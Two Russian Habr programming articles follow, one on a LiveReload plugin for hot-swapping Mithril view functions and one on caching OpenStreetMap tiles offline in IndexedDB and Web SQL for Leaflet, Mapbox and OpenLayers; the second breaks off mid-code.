Не так давно я начал пользоваться такой полезной штукой как livereload (для тех, кто не знает, что это — [есть статья на хабре](http://habrahabr.ru/post/168091/)). Livereload отслеживает изменения в коде веб-приложения и перегружает страницу в браузере при необходимости. При этом со стилями Livereload поступает умнее и заменяет их на лету без перезагрузки, что выглядит волшебно.
К сожалению с javascript такой номер не прокатывает — Livereload не знает как гуманно заменить только изменившиеся скрипты и перегружает всю страницу. Это особенно печалит если использовать инструмент вроде [mithril](https://lhorie.github.io/mithril/), в котором представление (читай — html) задается так же в javascript. Если я меняю модель или контроллер, то тут все понятно, но если я меняю класс у дива в представлении (скажем, подбирая правильное сочетание bootstrap классов), то перезагрузка страницы кажется излишней — ну вот же, я поменял одну функцию, просто перерисуй view с ее помощью!
В целом не страшно, конечно (работали же как-то без этого раньше), но почему бы не сделать работу еще немного удобнее?
##### Для тех, кто торопится
* [репозиторий с демонстрацией](https://github.com/AlexeyGrishin/live-reload-mithril-demo) — склонировать, npm install, gulp serve
* **Анимация того, что получилось в итоге**
#### Постановка
У нас есть чистые функции, отображающие модель на представление (читай — html). Нам нужно сделать так, что если меняется такая функция, то мы должны в браузере подгрузить новую версию, подменить исходную и, в случае с Mithril, вызвать m.redraw().
Самый простой способ подмены — запихать все такие функции в глобальный объект, а в местах их прежнего обитания расставить обращения к этому объекту. Что-то типа такого:
```
//file1.js
window.MyObj.MyFn = function (c) {
return m("h1", c.text)
}
//file2.js
var Page = {
controller: function () {
this.text = "Hello";
},
view: function (c) {
return window.MyObj.MyFn(c);
}
}
```
Теперь мы можем перезагружать один только file1.js и дергать m.redraw(), после чего представление будет перерисовано. При этом текущее состояние системы (в нашем случае хранящееся в контроллере Page) сохранится.
Однако вручную делать такое разделение не хочется — во-первых нарушается целостность компонента (довольно удобно при разработке менять только один файл, настраивая и поведение и внешний вид компонента), во-вторых есть уже написанный код, в-третьих пришлось бы больше объяснять новым разработчикам. Значит нужно парсить исходный код и извлекать нужные нам функции.
Итого задача сводится к двум подзадачам:
1. как найти нужные нам функции в существующем коде и извлечь их в отдельный скрипт
2. как научить LiveReload обновлять этот скрипт без перезагрузки страницы
#### Извлечение view-функций
В самом простом случае нам нужно найти все функции, объявленные как поля с именем view, и вынести их тело в наш отдельный файл, не забыв прокинуть аргументы. Однако тут есть ряд моментов:
* в теле функции могут использоваться идентификаторы (переменные, функции, и пр.) доступные через замыкание, а не только те что передаются в аргументах функции
* некоторые функции не надо выносить даже если они носят имя view
* некоторые функции надо выносить даже если они не носят имя view
Вот иллюстрирующий пример:
```
var model = new Model();
//какой-то метод модели, по совпадению называется view
model.view = function () {
this.viewed = true;
}
//метод представления, хотя и не называется view
function formatDate(date) {
return m("span.date", [
m("span.year", date.getFullYear()), formatMonth(date), (date.getDate()+1)
])
}
var Page1 = {
//каноничный mithril-овский метод view
//formatDate и model доступны через замыкание, и еще m - глобально
//date, в свою очередь, объявляется внутри самой функции
view: function() {
var date = new Date();
return m("h1", [model.title(), " today is ", formatDate(date)]);
}
}
```
Для решения проблемы 1 парсинга кода регекспами будет явно недостаточно, нужен синтаксический разбор. К счастью, есть библиотека [esprima](http://esprima.org/), которая разбирает переданный ей js-код и выдает синтаксическое дерево (можете поиграться [здесь](http://esprima.org/demo/parse.html)) как обычный json. Обход такого дерева не должен составить труда, надо только разобраться со всеми возможными типами узлов дерева, чтобы не пропустить какие-то случаи. Например запись
```
var a = 5;
```
совсем не то же самое что
```
var a;
a = 5;
```
(соответственно результаты парсинга [вот](http://esprima.org/demo/parse.html?code=var%20a%20%3D%205%3B) и [вот](http://esprima.org/demo/parse.html?code=var%20a%3B%0D%0Aa%20%3D%205%3B))
Теперь несложно и функцию найти, и все ее зависимости. Тела функций вынимаем и складируем отдельно, в исходном коде помещаем вызов глобальной функции, и собираем код обратно с помощью библиотеки [escodegen](https://github.com/estools/escodegen).
Для решения задач 2 и 3 пригодилось бы что-то вроде аттрибутов C# или аннотаций Java — какой-то способ пометить нужные функции. Т.к. в javascript такого способа не предусмотрено, пришлось придумать — пусть аттрибутом будет строка, являющаяся первым выражением в теле функции. И если значение аттрибуты "\_\_stateless", то функцию надо извлекать, а если "\_\_ignore" — то не надо.
```
var model = new Model();
//какой-то метод модели, по совпадению называется view
model.view = function () {
"__ignore";
this.viewed = true;
}
//метод представления, хотя и не называется view
function formatDate(date) {
"__stateless";
return m("span.date", [
m("span.year", date.getFullYear()), formatMonth(date), (date.getDate()+1)
])
}
```
Все описанное выше я собрал в виде отдельной библиотеки [st8less](https://github.com/AlexeyGrishin/st8less), никак не заточенной под mithril. В теории ее можно использовать для других похожих задач.
#### Плагин к LiveReload
Теперь, когда мы умеем доставать нужные нам функции и сохранять их отдельным js-файлом, надо научить LiveReload обновлять его без перезагрузки всей страницы.
Плагин к LiveReload написать несложно, причем он подхватится независимо от того как вы используете Livereload — вставляете сниппет на страницу или используете расширение браузера. Плагины имеют приоритет над стандартным поведением, и если мы напишем вот так:
```
function Plugin() {
this.reload = function(path) {
console.log("reloaded", path);
return true;
}
}
window.LiveReload.addPlugin(Plugin)
```
то при любом изменении вызовется наш метод reload, и если мы возвращаем true, то стандартная обработка не происходит. Так что можем отслеживать обновление только нашего файла с вынесенными функциями (зная имя этого файла, конечно) и перезагружать только его.
Для перезагрузки мы будем удалять существующий элемент script и добавлять в DOM новый, причем к URL скрипта каждый раз будет добавляться текущее время — чтобы предотвратить кэширование.
```
doReloadScript: function (scriptNode) {
var oldSrcBase = scriptNode.src.split("?")[0],
parent = scriptNode.parentNode,
newNode = this.window.document.createElement("script");
parent.removeChild(scriptNode);
newNode.src = [oldSrcBase, new Date().getTime()].join('?');
parent.appendChild(newNode);
},
```
#### Встраивание в процесс сборки
Если проект собирается с помощью gulp (у меня как раз так) или другой системы сборки, то логично было бы встроить извлечение view-функций в процесс сборки. В случае с gulp нужно было написать плагин, который обработает все проходящие через него js-скрипты, повыдергивает из них view-функции и запишет отдельным файлом, а потом оповестит LiveReload об изменениях.
Я не буду описывать создание плагина для gulp, все делалось строго по туториалам и примерам других плагинов (типа gulp-coffee и gulp-concat), ничего необычного. В итоге gulpfile.js выглядит примерно так:
```
... other requires
var changed = require('gulp-changed');
var extract = require('gulp-livereload-mithril');
var server; //используется двумя gulp-задачами, поэтому вынесено
// собирает проект и оповещает livereload-сервер (если запущен)
gulp.task('compile', function () {
// Начинаем обработку coffee-файлов.
// Допустим у нас их два - main.coffee и dashboard.coffee
gulp.src("src/**/*.coffee")
// -> main.coffee, dashboard.coffee
// компилируем в js
.pipe(coffee())
// -> main.js, dashboard.js
// наш плагин - извлекаем view-функции
.pipe(extract())
// -> main'.js, dashboard'.js, st8less.js
// проверяем какие файлы действительно поменялись по сравнению со старыми версиями.
// допустим поменялся только st8less.js
.pipe(changed("public", {
hasChanged: changed.compareSha1Digest
}))
// -> st8less.js
// копируем его в public
.pipe(gulp.dest("public"))
// -> st8less.js
// оповещаем LiveReload сервер об изменениях
.pipe(server ? server.notify() : gutil.noop());
});
// запускает наш сервер, LiveReload-сервер и следит за изменениями
// чуть что - вызывает задачу compile
gulp.task('serve', ['compile'], function () {
server = gls.new('./server.js');
server.start();
gulp.watch(SRC, ['compile'] /* no need to notify here*/);
});
```
Обратите внимание на использование gulp-changed. Если мы меняем только main.coffee, то на выходе получаем обновленный main.js и st8less.js, причем если мы меняли view-функцию, то main.js по факту будет точно таким же. Но время изменения у main.js все равно поменяется, и в результате LiveReload перезагрузит всю страницу. Чтобы этого не случилось, необходимо сравнить фактическое содержимое, что и делает плагин gulp-changed.
Плагины для gulp и LiveReload лежат в отдельном репозитории — [gulp-livereload-mithril](https://github.com/AlexeyGrishin/gulp-livereload-mithril). Он, в свою очередь, ссылается на библиотеку st8less описанную выше.
#### Неявная подгрузка нового скрипта
Наш плагин создает новый js-файл (st8less.js), и надо сослаться на него из html-страницы. Можно было попросить пользователя сделать это самостоятельно, но я подумал: все равно я меняю пользовательские js-файлы, почему бы не добавить в один из них простой document.write?
Так и было сделано, но этого оказалось недостаточно. Если, скажем, мы добавим document.write в начало main.js, а main.js где-то в середине уже использует вынесенные в функции, то мы получим ошибку, т.к. свежедобавленный элемент script еще не начал подгружать наш скрипт.
Надо как-то подгрузить указанный скрипт здесь и сейчас, и другого способа, кроме как послать синхронный ajax-запрос, я не нашел. Добавляемая в начало одного из скриптов конструкция выглядит так:
```
(function loadScriptSynchronously() {
var path = "st8less.js";
document.write('');
var req = new XMLHttpRequest();
req.open('GET', path, false);
req.send();
var src = req.responseText
eval(src)
}.call());
```
При желании можно этот ужас отключить, передав плагину {inject:false}. Тогда придется добавлять тэг script вручную.
#### Итог
Задача оказалась вполне разрешимой, причем приведенное решение можно применить не только для mithril, но и для других подобных случаев — на ум приходят react и angular.js 1.x (зачастую html-верстка для директив помещается прямо в js-код директивы).
Есть у решения и минусы, например:
1. **esprima не поддерживает полностью ES 6, т.е. если в вашем коде встречаются, скажем, генераторы, плагин использоваться не удастся.**
Решение: предварительно превращать ES6-код в ES5
2. **меняет существующий код (отступы, выравнивания и пр. сбиваются после пропускания кода через esprima/escodegen)**
Решение: пока нет.
3. **вынесение части функций усложняет отладку**
Наверное да, но мне ни разу не приходилось отлаживать функции представления — как правило в них нет логики. А если даже и хочется посмотреть что там внутри, то в случае с mithril реально проще добавить строчку типа
```
m "pre", JSON.stringify(someValueIWantToWatch)
```
и отслеживать значение прямо на странице
#### Где посмотреть:
Пример использования [можно посмотреть здесь](https://github.com/AlexeyGrishin/live-reload-mithril-demo).
Сам плагин [лежит тут](https://github.com/AlexeyGrishin/gulp-livereload-mithril).
Спасибо за внимание, надеюсь было полезно. | https://habr.com/ru/post/260173/ | null | ru | null |
# Карты в браузере без сети: open source наносит ответный удар
Как-то давно я [писал о том как можно в вебе использовать карты без сети](http://habrahabr.ru/post/141707/) и пытался сделать это с помощью гугло карт. К сожалению условия использования запрещали модифицировать ресурсы, а написанный мною код работал только с `localStorage`, поэтому я решил перейти на светлую сторону силы, где код открыт, прост и понятен.
#### Чего же я хочу?
Я хочу сделать кэширование карты для полной работы без сети, те в первый раз загружаешь карту, просматриваешь интересующие тайлы (которые при этом будут кэшироваться) и в следующий раз карта с просмотренными тайлами будет полностью доступна без сети.
В принципе кэшировать на лету не обязательно и можно делать то же самое отдельно и для определенного региона. Но я всего лишь хочу показать подход.
#### Что же у нас есть?
В современном вебе для хранения наших данных могут подойти:
[Application Cache](http://caniuse.com/offline-apps) — для статики, но не для тайлов.
[Local Storage](http://caniuse.com/namevalue-storage) — с использованием base64 data uri, синхронно, поддерживается везде, но очень мало места.
[Indexed DB](http://caniuse.com/indexeddb) — с использование base64 data uri, асинхронно, поддерживается в полноценных и мобильных хроме, ff, ie10.
[Web SQL](http://caniuse.com/sql-storage) — с использование base64 data uri, асинхронно, обозначен как устаревший, поддерживается в полноценных и мобильных хроме, сафари, опере, браузере андроида.
[File Writer](http://caniuse.com/filesystem) — только хром.
Также можно попробовать использовать [блобы](http://caniuse.com/blobbuilder) и [блоб урлы](http://caniuse.com/bloburls) для уменьшения занимаемого тайлами места, но это может работать только вместе с [Indexed DB](http://caniuse.com/indexeddb). Эту затею я пока оставлю.
Итак, если комбинировать [Application Cache](http://caniuse.com/offline-apps), [Indexed DB](http://caniuse.com/indexeddb) и [Web SQL](http://caniuse.com/sql-storage), то можно решить задачу хранения тайлов достаточную для нормального использования в современных браузерах, в том числе и мобильных.
#### Теория
В теории нам нужно:
1. взять API;
2. добавить всю статику в Application Cache;
3. переопределить слой тайлов так, чтобы он загружал данные из наших асинхронных хранилищ;
4. добавить логику по загрузке тайлов в хранилища.
#### Хранилище
Для начала организуем key-value хранилище с базовыми операциями add, delete, get для Indexed DB и Web SQL. Здесь есть одна магическая конструкция `emr.fire('storageLoaded', storage);`, которая будет вызываться после того как хранилище проинициализировано и готово к использованию, чтобы карта не падала при обращении к хранилищу.
**Реализация хранилища с помощью Indexed DB**
```
var getIndexedDBStorage = function () {
var indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
var IndexedDBImpl = function () {
var self = this;
var db = null;
var request = indexedDB.open('TileStorage');
request.onsuccess = function() {
db = this.result;
emr.fire('storageLoaded', self);
};
request.onerror = function (error) {
console.log(error);
};
request.onupgradeneeded = function () {
var store = this.result.createObjectStore('tile', { keyPath: 'key'});
store.createIndex('key', 'key', { unique: true });
};
this.add = function (key, value) {
var transaction = db.transaction(['tile'], 'readwrite');
var objectStore = transaction.objectStore('tile');
objectStore.put({key: key, value: value});
};
this.delete = function (key) {
var transaction = db.transaction(['tile'], 'readwrite');
var objectStore = transaction.objectStore('tile');
objectStore.delete(key);
};
this.get = function (key, successCallback, errorCallback) {
var transaction = db.transaction(['tile'], 'readonly');
var objectStore = transaction.objectStore('tile');
var result = objectStore.get(key);
result.onsuccess = function () {
successCallback(this.result ? this.result.value : undefined);
};
result.onerror = errorCallback;
};
};
return indexedDB ? new IndexedDBImpl() : null;
};
```
**Реализация хранилища с помощью Web SQL**
```
var getWebSqlStorage = function () {
var openDatabase = window.openDatabase;
var WebSqlImpl = function () {
var self = this;
var db = openDatabase('TileStorage', '1.0', 'Tile Storage', 5 * 1024 * 1024);
db.transaction(function (tx) {
tx.executeSql('CREATE TABLE IF NOT EXISTS tile (key TEXT PRIMARY KEY, value TEXT)', [], function () {
emr.fire('storageLoaded', self);
});
});
this.add = function (key, value) {
db.transaction(function (tx) {
tx.executeSql('INSERT INTO tile (key, value) VALUES (?, ?)', [key, value]);
});
};
this.delete = function (key) {
db.transaction(function (tx) {
tx.executeSql('DELETE FROM tile WHERE key = ?', [key]);
});
};
this.get = function (key, successCallback, errorCallback) {
db.transaction(function (tx) {
tx.executeSql('SELECT value FROM tile WHERE key = ?', [key], function (tx, result) {
successCallback(result.rows.length ? result.rows.item(0).value : undefined);
}, errorCallback);
});
};
};
return openDatabase ? new WebSqlImpl() : null;
};
```
**Создание хранилища**
```
var storage = getIndexedDBStorage() || getWebSqlStorage() || null;
if (!storage) {
emr.fire('storageLoaded', null);
}
```
Предлагаю считать данную реализацию очень схематичной, думаю здесь есть над чем подумать, например, чтобы не блокировать инициализацию карты, пока инициализируется хранилище; запоминать какие тайлы есть в хранилище без непосредственного обращения к API; попытаться объединить несколько операций сохранения в одну транзакцию, чтобы уменьшить количество записей на диск; попробовать использовать блобы там где они поддерживаются. Возможно реализация Indexed DB в старых браузерах будет падать, тк в них может быть не реализовано событие `onupgradeneeded`.
#### IMG to data URI & CORS
Для того чтобы хранить тайлы нам нужно преобразовать их в data URI, то есть base64 представление. Для этого воспользуемся canvas и его методами `toDataURL` или `getImageData`:
```
_imageToDataUri: function (image) {
var canvas = window.document.createElement('canvas');
canvas.width = image.width;
canvas.height = image.height;
var context = canvas.getContext('2d');
context.drawImage(image, 0, 0);
return canvas.toDataURL('image/png');
}
```
Так как html элемент img может принимать в качестве картинки любой доступный ресурс, в том числе и на авторизированных сервисах и локальной файловой системе, то возможность отправлять это содержимое третьей стороне представляет собой угрозу безопасности, поэтому картинки не разрешающие `Access-Control-Allow-Origing` для Вашего домена сохранить будет нельзя. Благо тайлы mapnik или же tile.openstreetmap.org имеют заголовок `Access-Control-Allow-Origing: *`, но для того чтобы все работало нужно установить флаг элемента `img.crossOrigin` в значение `Anonymous`.
Работа CORS в данной реализации во всех мобильных браузерах не гарантируется, поэтому проще всего настроить для своего сайта прокси на своем домене или отключить проверку CORS например для Phoengap адептов. Лично у меня данный код не взлетел в андроидовском браузере по умолчанию (androin 4.0.4 sony xperia active), а в опере некоторые тайлы сохранялись странным образом (сравни [что иногда получается](http://habrastorage.org/storage2/d7a/129/0b9/d7a1290b9987e3703ce7f4c3f10d573e.png) и [то что должно быть на самом деле](http://tile.openstreetmap.org/14/9445/5267.png), но это похоже на баг оперы).
Здесь можно попробовать использовать [`WebWorkers`](http://caniuse.com/webworkers) + `AJAX` вместо `canvas`.
#### Leaflet
Итак нам понадобится популярное JS API карт с открытым кодом, одним из таких кандидатов является [Leaflet](http://leafletjs.com/).
Немного посмотрев [исходники](https://github.com/CloudMade/Leaflet/tree/333899ca518b6ad7080e7e9ddb0492d4ba4c5d51/src/layer/tile/TileLayer.js#L477) можно найти метод тайлового слоя, который отвечает за непосредственное указание `src` для тайлов:
```
_loadTile: function (tile, tilePoint) {
tile._layer = this;
tile.onload = this._tileOnLoad;
tile.onerror = this._tileOnError;
tile.src = this.getTileUrl(tilePoint);
}
```
То есть если переопределить этот класс и непосредственно данный метод для загрузки данных в `src` из хранилища, то мы сделаем то что нужно. Реализуем также добавление данных в хранилище, если они были загружены из сети и получим полноценное кэширование.
**Реализация для Leaflet**
```
var StorageTileLayer = L.TileLayer.extend({
_imageToDataUri: function (image) {
var canvas = window.document.createElement('canvas');
canvas.width = image.width;
canvas.height = image.height;
var context = canvas.getContext('2d');
context.drawImage(image, 0, 0);
return canvas.toDataURL('image/png');
},
_tileOnLoadWithCache: function () {
var storage = this._layer.options.storage;
if (storage) {
storage.add(this._storageKey, this._layer._imageToDataUri(this));
}
L.TileLayer.prototype._tileOnLoad.apply(this, arguments);
},
_setUpTile: function (tile, key, value, cache) {
tile._layer = this;
if (cache) {
tile._storageKey = key;
tile.onload = this._tileOnLoadWithCache;
tile.crossOrigin = 'Anonymous';
} else {
tile.onload = this._tileOnLoad;
}
tile.onerror = this._tileOnError;
tile.src = value;
},
_loadTile: function (tile, tilePoint) {
this._adjustTilePoint(tilePoint);
var key = tilePoint.z + ',' + tilePoint.y + ',' + tilePoint.x;
var self = this;
if (this.options.storage) {
this.options.storage.get(key, function (value) {
if (value) {
self._setUpTile(tile, key, value, false);
} else {
self._setUpTile(tile, key, self.getTileUrl(tilePoint), true);
}
}, function () {
self._setUpTile(tile, key, self.getTileUrl(tilePoint), true);
});
} else {
self._setUpTile(tile, key, self.getTileUrl(tilePoint), false);
}
}
});
```
Сама же карта в данном случае будет инициализироваться следующим образом:
```
var map = L.map('map').setView([53.902254, 27.561850], 13);
new StorageTileLayer('http://{s}.tile.osm.org/{z}/{x}/{y}.png', {storage: storage}).addTo(map);
```
Также добавим наши ресурсы в Application Cache, чтобы карта могла полноценно работать без сети с закэшированными тайлами:
**Application Cache manifest для Leaflet**
```
CACHE MANIFEST
NETWORK:
*
CACHE:
index.html
style.css
event.js
storage.js
map.js
run.js
leaflet.css
leaflet.js
images/layers.png
images/marker-icon.png
images/marker-icon@2x.png
images/marker-shadow.png
```
[Пример](http://tbicr.github.com/OfflineMap/leaflet/index.html) и [его код на гитхабе](https://github.com/tbicr/OfflineMap/tree/master/leaflet_idb_sql_site).
#### Mapbox (modesmaps)
Еще одним кандидатом открытого JS API карт является [mapbox](http://mapbox.com/mapbox.js) основанного на [modesmaps](http://modestmaps.com/).
Посмотрев [исходники mapbox](https://github.com/mapbox/mapbox.js) мы не найдем для нас ничего интересного, поэтому перейдем к [исходникам modestmaps](https://github.com/modestmaps/modestmaps-js). Начнем с [`TemplatedLayer`](https://github.com/modestmaps/modestmaps-js/tree/1e46ba1431f9e731a00928fd57800268d72f7eb0/src/provider.js#L148), который является обычным слоем карты с шаблонным провайдером, те код который нам нужен будет находится в классе слоя:
```
MM.TemplatedLayer = function(template, subdomains, name) {
return new MM.Layer(new MM.Template(template, subdomains), null, name);
};
```
Найдя [использования шаблонного провайдера в слое карты](https://github.com/modestmaps/modestmaps-js/tree/1e46ba1431f9e731a00928fd57800268d72f7eb0/src/layer.js#L176) можно заметить, что наш провайдер может возвращать либо URL тайла, либо готовый DOM элемент, причем DOM элемент сразу позиционируется, а URL тайла пересылается в `requestManager`:
```
if (!this.requestManager.hasRequest(tile_key)) {
var tileToRequest = this.provider.getTile(tile_coord);
if (typeof tileToRequest == 'string') {
this.addTileImage(tile_key, tile_coord, tileToRequest);
} else if (tileToRequest) {
this.addTileElement(tile_key, tile_coord, tileToRequest);
}
}
```
```
addTileImage: function(key, coord, url) {
this.requestManager.requestTile(key, coord, url);
}
```
```
addTileElement: function(key, coordinate, element) {
element.id = key;
element.coord = coordinate.copy();
this.positionTile(element);
}
```
Сам же `requestManager` инициализируется в конструкторе слоя карты. Создание DOM элемента `img` и установка его `src` происходит в методе [`processQueue`](https://github.com/modestmaps/modestmaps-js/tree/1e46ba1431f9e731a00928fd57800268d72f7eb0/src/requests.js#L153), который также дергается из слоя карты:
```
processQueue: function(sortFunc) {
if (sortFunc && this.requestQueue.length > 8) {
this.requestQueue.sort(sortFunc);
}
while (this.openRequestCount < this.maxOpenRequests && this.requestQueue.length > 0) {
var request = this.requestQueue.pop();
if (request) {
this.openRequestCount++;
var img = document.createElement('img');
img.id = request.id;
img.style.position = 'absolute';
img.coord = request.coord;
this.loadingBay.appendChild(img);
img.onload = img.onerror = this.getLoadComplete();
img.src = request.url;
request = request.id = request.coord = request.url = null;
}
}
}
```
То есть если мы переопределим данный метод, то также получим желаемый результат.
**Реализация для mapbox (modestmaps)**
```
var StorageRequestManager = function (storage) {
MM.RequestManager.apply(this, []);
this._storage = storage;
};
StorageRequestManager.prototype._imageToDataUri = function (image) {
var canvas = window.document.createElement('canvas');
canvas.width = image.width;
canvas.height = image.height;
var context = canvas.getContext('2d');
context.drawImage(image, 0, 0);
return canvas.toDataURL('image/png');
};
StorageRequestManager.prototype._createTileImage = function (id, coord, value, cache) {
var img = window.document.createElement('img');
img.id = id;
img.style.position = 'absolute';
img.coord = coord;
this.loadingBay.appendChild(img);
if (cache) {
img.onload = this.getLoadCompleteWithCache();
img.crossOrigin = 'Anonymous';
} else {
img.onload = this.getLoadComplete();
}
img.onerror = this.getLoadComplete();
img.src = value;
};
StorageRequestManager.prototype._loadTile = function (id, coord, url) {
var self = this;
if (this._storage) {
this._storage.get(id, function (value) {
if (value) {
self._createTileImage(id, coord, value, false);
} else {
self._createTileImage(id, coord, url, true);
}
}, function () {
self._createTileImage(id, coord, url, true);
});
} else {
self._createTileImage(id, coord, url, false);
}
};
StorageRequestManager.prototype.processQueue = function (sortFunc) {
if (sortFunc && this.requestQueue.length > 8) {
this.requestQueue.sort(sortFunc);
}
while (this.openRequestCount < this.maxOpenRequests && this.requestQueue.length > 0) {
var request = this.requestQueue.pop();
if (request) {
this.openRequestCount++;
this._loadTile(request.id, request.coord, request.url);
request = request.id = request.coord = request.url = null;
}
}
};
StorageRequestManager.prototype.getLoadCompleteWithCache = function () {
if (!this._loadComplete) {
var theManager = this;
this._loadComplete = function(e) {
e = e || window.event;
var img = e.srcElement || e.target;
img.onload = img.onerror = null;
if (theManager._storage) {
theManager._storage.add(this.id, theManager._imageToDataUri(this));
}
theManager.loadingBay.removeChild(img);
theManager.openRequestCount--;
delete theManager.requestsById[img.id];
if (e.type === 'load' && (img.complete ||
(img.readyState && img.readyState === 'complete'))) {
theManager.dispatchCallback('requestcomplete', img);
} else {
theManager.dispatchCallback('requesterror', {
element: img,
url: ('' + img.src)
});
img.src = null;
}
setTimeout(theManager.getProcessQueue(), 0);
};
}
return this._loadComplete;
};
MM.extend(StorageRequestManager, MM.RequestManager);
var StorageLayer = function(provider, parent, name, storage) {
this.parent = parent || document.createElement('div');
this.parent.style.cssText = 'position: absolute; top: 0px; left: 0px;' +
'width: 100%; height: 100%; margin: 0; padding: 0; z-index: 0';
this.name = name;
this.levels = {};
this.requestManager = new StorageRequestManager(storage);
this.requestManager.addCallback('requestcomplete', this.getTileComplete());
this.requestManager.addCallback('requesterror', this.getTileError());
if (provider) {
this.setProvider(provider);
}
};
MM.extend(StorageLayer, MM.Layer);
var StorageTemplatedLayer = function(template, subdomains, name, storage) {
return new StorageLayer(new MM.Template(template, subdomains), null, name, storage);
};
```
Сама же карта в данном случае будет инициализироваться следующим образом:
```
var map = mapbox.map('map');
map.addLayer(new StorageTemplatedLayer('http://{S}.tile.osm.org/{Z}/{X}/{Y}.png', ['a', 'b', 'c'], undefined, storage));
map.ui.zoomer.add();
map.ui.zoombox.add();
map.centerzoom({lat: 53.902254, lon: 27.561850}, 13);
```
Также добавим наши ресурсы в Application Cache, чтобы карта могла полноценно работать без сети с закэшированными тайлами:
**Application Cache manifest для Mapbox (modestmaps)**
```
CACHE MANIFEST
NETWORK:
*
CACHE:
index.html
style.css
event.js
storage.js
map.js
run.js
mapbox.css
mapbox.js
map-controls.png
```
[Пример](http://tbicr.github.com/OfflineMap/mapbox/index.html) и [его код на гитхабе](https://github.com/tbicr/OfflineMap/tree/master/mapbox_idb_sql_site).
#### OpenLayers
И последним кандидатом открытого JS API карт является [OpenLayers](http://openlayers.org/).
Мне пришлось потратить какое-то время чтобы разобраться как запустить минимальный вид, в итоге мой файл для сборки приобрел следующий вид:
```
[first]
[last]
[include]
OpenLayers/Map.js
OpenLayers/Layer/OSM.js
OpenLayers/Control/Zoom.js
OpenLayers/Control/Navigation.js
OpenLayers/Control/TouchNavigation.js
[exclude]
```
Я буду использовать [`OpenLayers.Layer.OSM`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Layer/OSM.js#L50), поэтому начну поиск с него:
```
url: [
'http://a.tile.openstreetmap.org/${z}/${x}/${y}.png',
'http://b.tile.openstreetmap.org/${z}/${x}/${y}.png',
'http://c.tile.openstreetmap.org/${z}/${x}/${y}.png'
]
```
`OpenLayers.Layer.OSM` наследуется от `OpenLayers.Layer.XYZ` с переопределенными URL. Здесь интересен метод [`getURL`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Layer/XYZ.js#L119):
```
getURL: function (bounds) {
var xyz = this.getXYZ(bounds);
var url = this.url;
if (OpenLayers.Util.isArray(url)) {
var s = '' + xyz.x + xyz.y + xyz.z;
url = this.selectUrl(s, url);
}
return OpenLayers.String.format(url, xyz);
}
```
Также интересен метод [`getXYZ`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Layer/XYZ.js#L140), который можно использовать для создания ключа:
```
getXYZ: function(bounds) {
var res = this.getServerResolution();
var x = Math.round((bounds.left - this.maxExtent.left) /
(res * this.tileSize.w));
var y = Math.round((this.maxExtent.top - bounds.top) /
(res * this.tileSize.h));
var z = this.getServerZoom();
if (this.wrapDateLine) {
var limit = Math.pow(2, z);
x = ((x % limit) + limit) % limit;
}
return {'x': x, 'y': y, 'z': z};
}
```
Сам `OpenLayers.Layer.XYZ` наследуется от `OpenLayers.Layer.Grid`, у которого есть метод [`addTile`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Layer/Grid.js#L1062) и который внутри себя создает тайлы с помощью `tileClass`, которым является [`OpenLayers.Tile.Image`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Layer/Grid.js#L59):
```
addTile: function(bounds, position) {
var tile = new this.tileClass(
this, position, bounds, null, this.tileSize, this.tileOptions
);
this.events.triggerEvent("addtile", {tile: tile});
return tile;
}
```
В `OpenLayers.Tile.Image` `src` задается в методе [`setImgSrc`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Tile/Image.js#L347):
```
setImgSrc: function(url) {
var img = this.imgDiv;
if (url) {
img.style.visibility = 'hidden';
img.style.opacity = 0;
if (this.crossOriginKeyword) {
if (url.substr(0, 5) !== 'data:') {
img.setAttribute("crossorigin", this.crossOriginKeyword);
} else {
img.removeAttribute("crossorigin");
}
}
img.src = url;
} else {
this.stopLoading();
this.imgDiv = null;
if (img.parentNode) {
img.parentNode.removeChild(img);
}
}
}
```
Но в нем не задаются обработчики `onload` и `onerror`. Сам метод дергается из [`initImage`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Tile/Image.js#L315), где эти обработчики и вешаются:
```
initImage: function() {
this.events.triggerEvent('beforeload');
this.layer.div.appendChild(this.getTile());
this.events.triggerEvent(this._loadEvent);
var img = this.getImage();
if (this.url && img.getAttribute("src") == this.url) {
this._loadTimeout = window.setTimeout(
OpenLayers.Function.bind(this.onImageLoad, this), 0
);
} else {
this.stopLoading();
if (this.crossOriginKeyword) {
img.removeAttribute("crossorigin");
}
OpenLayers.Event.observe(img, "load",
OpenLayers.Function.bind(this.onImageLoad, this)
);
OpenLayers.Event.observe(img, "error",
OpenLayers.Function.bind(this.onImageError, this)
);
this.imageReloadAttempts = 0;
this.setImgSrc(this.url);
}
}
```
Можно заметить, что метод класса слоя `getURL`, а также `initImage`, дергаются из [`renderTile`](https://github.com/openlayers/openlayers/tree/5b98769234dc20172a3cb6eeb77e60b297766e45/lib/OpenLayers/Tile/Image.js#L197):
```
renderTile: function() {
if (this.layer.async) {
var id = this.asyncRequestId = (this.asyncRequestId || 0) + 1;
this.layer.getURLasync(this.bounds, function(url) {
if (id == this.asyncRequestId) {
this.url = url;
this.initImage();
}
}, this);
} else {
this.url = this.layer.getURL(this.bounds);
this.initImage();
}
}
```
Итак если мы переопределим данный класс, то также получим желаемый результат.
**Реализация для OpenLayers**
```
var StorageImageTile = OpenLayers.Class(OpenLayers.Tile.Image, {
_imageToDataUri: function (image) {
var canvas = window.document.createElement('canvas');
canvas.width = image.width;
canvas.height = image.height;
var context = canvas.getContext('2d');
context.drawImage(image, 0, 0);
return canvas.toDataURL('image/png');
},
onImageLoadWithCache: function() {
if (this.storage) {
this.storage.add(this._storageKey, this._imageToDataUri(this.imgDiv));
}
this.onImageLoad.apply(this, arguments);
},
renderTile: function() {
var self = this;
var xyz = this.layer.getXYZ(this.bounds);
var key = xyz.z + ',' + xyz.y + ',' + xyz.x;
var url = this.layer.getURL(this.bounds);
if (this.storage) {
this.storage.get(key, function (value) {
if (value) {
